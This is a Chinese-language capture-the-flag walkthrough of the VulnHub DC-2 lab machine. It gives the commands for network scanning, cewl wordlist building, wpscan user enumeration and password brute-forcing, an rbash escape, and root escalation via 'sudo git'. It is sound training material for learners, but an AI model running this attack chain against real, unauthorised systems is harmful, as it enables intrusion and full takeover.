Vulnhub靶机:DC-2渗透详细过程

前言

这次练习的靶机是vulnhub平台下的DC系列靶机第二台，下载地址为DC: 2 ~ VulnHub。该靶机的难度系数为简单，和DC1一样，总共有五个flag。

DC-2与DC-1一样，是一个适合初学者的靶场，需要具备以下前置知识：

基础的Linux命令及操作基础的渗透测试工具使用（Kali / Parrot下的工具）flag--1

先扫描c端，发现目标主机

nmap 192.168.132.0/24

看开启http服务，即打开浏览器输入ip，无法连接服务器且ip变域名

全面扫描目标主机IP

-A:进攻性综合扫描，能收集很多主要信息

-sV:扫描主要的服务信息

-p-:参数p后面是指定端口 后面-是代表所有端口

nmap -A -sV -p- -T4 192.168.132.147

扫描出ssh服务且端口修改为7744

扫描发现 Did not follow redirect to http://dc-2/未能重定向到域名dc-2，也就是说DNS服务器无法解析该域名

所以我们需要修改hosts文件内容，使域名dc-2对应ip

vim /etc/hosts

写入

192.168.132.147 dc-2

因为是在kali写入的，所以需要在kali的浏览器中打开该ip对应域名

在页面下找到flag1

Your usual wordlists probably won’t work, so instead, maybe you just need to be cewl、你常用的字典可能不管用，因此你可能需要cewl一下（cewl是kali的一个工具，可以通过爬行网站关键字建立密码字典）、More passwords is always better, but sometimes you just can’t win them all、密码越多越好，但有时候你不能赢得所有、Log in as one to see the next flag、登录以获得下一个flag、If you can’t find it, log in as another、如果你找不到，可以尝试登录另一个账号.

flag--2

通过flag1得到信息需要cewl一下

cewl dc-2 -w pwd.txt

用wpscan扫一下指定url，枚举其中用户名

wpscan --url dc-2 --enumerate u

将枚举出的用户名写到user.txt中，爆破，拿到账号密码

账号：jerry 密码：adipiscing

账号：tom 密码：parturient

找到网页后台登入地址/wp-admin

登入jerry的账号，找到flag2

if you can't exploit WordPress and take a shortcut, there is another way、如果你不能利用WordPress找到一条捷径，你可以尝试另一条路 Hope you found another entry point、希望你能找到另一个入口点

flag--3

根据flag的提示，之前扫描服务的时候有一个ssh端口开放

-p 7744指定ssh端口登陆（因为默认端口是22端口）

因为网页后台是登入jerry的账号成功的所以这里换一块路想到使用tom的账号

ssh tom@192.168.132.147 -p 7744

查看文件

ls

cat flag3.txt

使用cat无法查看flag3.txt但是使用vi可以查看

同时这里发现tom使用rbash：功能特别少，很多命令无法使用

所以我们要绕过rabsh

BASH_PATH[A]=/bin/sh;A

/bin/bash(此时还不能查看flag3.txt)

export PATH=$PATH:/bin/

flag--4

根据flag3提示切换jerry用户

su jerry

cd /home/jerry

ls

cat flag4.txt

flag--5

和dc1一样，suid提权

寻找root用户拥有的文件，并将错误写入/dev/null中

find / -perm -u=s -type f 2>/dev/null

sudo -l

发现git提权

sudo git help ifconfig

!/bin/bash完成提权

cd /root

ls

cat final-flag.txt

Rbash逃逸大全：

https://xz.aliyun.com/t/7642#toc-0

vulnhub之DC-2靶机渗透详细过程 - FreeBuf网络安全行业门户